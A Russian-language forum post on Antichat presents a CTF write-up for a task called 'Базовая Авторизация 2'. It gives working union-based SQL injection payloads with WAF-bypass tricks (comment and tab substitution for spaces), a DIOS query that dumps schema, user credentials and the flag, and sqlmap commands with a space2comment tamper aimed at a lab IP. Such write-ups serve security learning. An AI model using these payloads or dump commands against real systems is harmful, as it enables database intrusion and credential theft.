HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Этичный хакинг или пентестинг > Задания/Квесты/CTF/Конкурсы
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 01.12.2023, 15:52
vov4ick
Познающий
Регистрация: 23.12.2023
Сообщений: 60
С нами: 1260136

Репутация: 0
По умолчанию

Приветствую форумчан и любителей поиграть в CTF на Antichat.games
Сегодня я разберу таск Базовая Авторизация 2. Решил я его разобрать по полочкам, и показать как это можно сделать. По данному таску, я не увидел решений.
У D3L1F3R на ютуб канале Я увидел как он получает флаг в этом задании, но разбора и какого то большого смысла я не увидел в этом(не в обиду сказано).
По этому беремся и решаем =)



Заходим на сайт , тестовые креды приложены в описании таска , это test test пробуем:



Конечно мы любим SqlInjection и проверяем это.
Сначала нам нужно проверить какое поле уязвимо, а это поле login скажу сразу. Как я понял? да на аккаунт можно попасть и без пароля. Вводишь логин и ты уже User ID 1 =) Скорее всего отсутствует проверка пароля.

Дальше мы пробуем самый обычный Union Based Injection:
Добавим ложное условие

test'AND false UNION SELECT 1,2-- -

Видим что стоит фильтрация и нам нужно найти в чем загвостка.



Можно конечно перебирать UNION И SELECT , но мы пробуем сразу подставить /**/ вместо пробелов, что мы видим:
Пропала плашка с WAF, но проблемка еще есть.



В качестве обхода пробельных символов могут срабатывать разные варианты.
В конце запроса у нас --+- вот этот + нам нужно как то заменить. И на помощь нам приходит %09 комбинация.



Хм опять ничего... Пробуем добавить количество колонок:

Ура инфа появилась =) Мы подобрали ключик, теперь попробуем какая колонка выводит информацию.



Пробуем первую:
Успешно =)



Если мы видим что работает Union , пробуем Dios технику , сейчас будет магия как вывести много чего интересного одним запросом:

'and/**/false/**/union/**/select/**/(select/**/(@a)/**/from/**/(select/**/(@a:=0x00),(select/**/(@a)/**/from/**/
(information_schema.columns)/**/where/**/table_schema!='information_schema'and(@a)/**/in/**/
(@a:=concat(@a,table_schema,'-->',table_name,'-->',column_name,'
'))))a),2,3--%09-


Здесь у нас идет название базы , таблицы и колонки которые имеются . Мы понимаем что скорее всего нам нужна таблица flags и колонка flag так и есть,
но мы пройдемся по всему.
Пробуем извлечь данные из колонок:

'and/**/false/**/union/**/select/**/(select/**/(@a)/**/from/**/(select/**/(@a:=0x00),(select/**/(@a)/**/from/**/
(data.users)/**/where/**/(@a)/**/in/**/(@a:=concat(@a,'',login,'','-->','',password,'','
'))))a),2,3--%09-

Если обратить внимание на запрос, то мы понимаем, что извлекаем колонки login и password из таблицы users , вот в принципе и наши тестовые креды:



Попробуем вывести наш флаг:

'and/**/false/**/union/**/select/**/(select/**/(@a)/**/from/**/(select/**/(@a:=0x00),(select/**/(@a)/**/from/**/
(data.flags)/**/where/**/(@a)/**/in/**/(@a:=concat(@a,'',flag,'','
'))))a),2,3--%09-

Мы успешно извлекли наш флаг (^-^) и довольные идем сдавать его.



Думали это все? нет.

Сейчас я покажу как это можно раскрутить с помощью всеми любимым SQLMAP.

Сначала я начал решать его с помощью этого инструмента, но была ошибка. После я полез и разобрался с ним в ручную засучив рукава. Я понял что фильтруемся и какой тампер нужен. Пробуем:
В данной нагрузке есть такие ограничения по количеству запросов, так же указан space2comment , как раз таки он заменяет пробелы на /**/ .

sqlmap -u 'http://62.173.140.174:16015/user.php?login=test&password=test' --tamper='space2comment' --current-db --dbms='MySQL' --no-cast --delay=0.3 --level=2 --risk=3 --batch

С начала мы извлекаем название базы данных





Далее мы извлекаем таблицы:

sqlmap -u 'http://62.173.140.174:16015/user.php?login=test&password=test' --tamper='space2comment' -D data --tables --dbms='MySQL' --no-cast --delay=0.3 --level=2 --risk=3 --batch



Успешно, далее извлекаем колонки:

sqlmap -u 'http://62.173.140.174:16015/user.php?login=test&password=test' --tamper='space2comment' -D data -T flags --columns --dbms='MySQL' --no-cast --delay=0.3 --level=2 --risk=3 --batch



Финальное извлечение всего остального:

sqlmap -u 'http://62.173.140.174:16015/user.php?login=test&password=test' --tamper='space2comment' --dump --dbms='MySQL' --no-cast --delay=0.3 --level=2 --risk=3 --batch



В принципе, все. Мы проделали большую работу и мы молодцы, задание оказалось интересным и были моменты где нужно было подумать.
Надеюсь это будет полезно, не в этом задании так в другом. Я старался рассказать прям совсем подробно, чтобы было понимание. SqlMap сила в правильных руках,
но сам по себе он работать не будет. Всем удачи и спасибо за внимание.
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.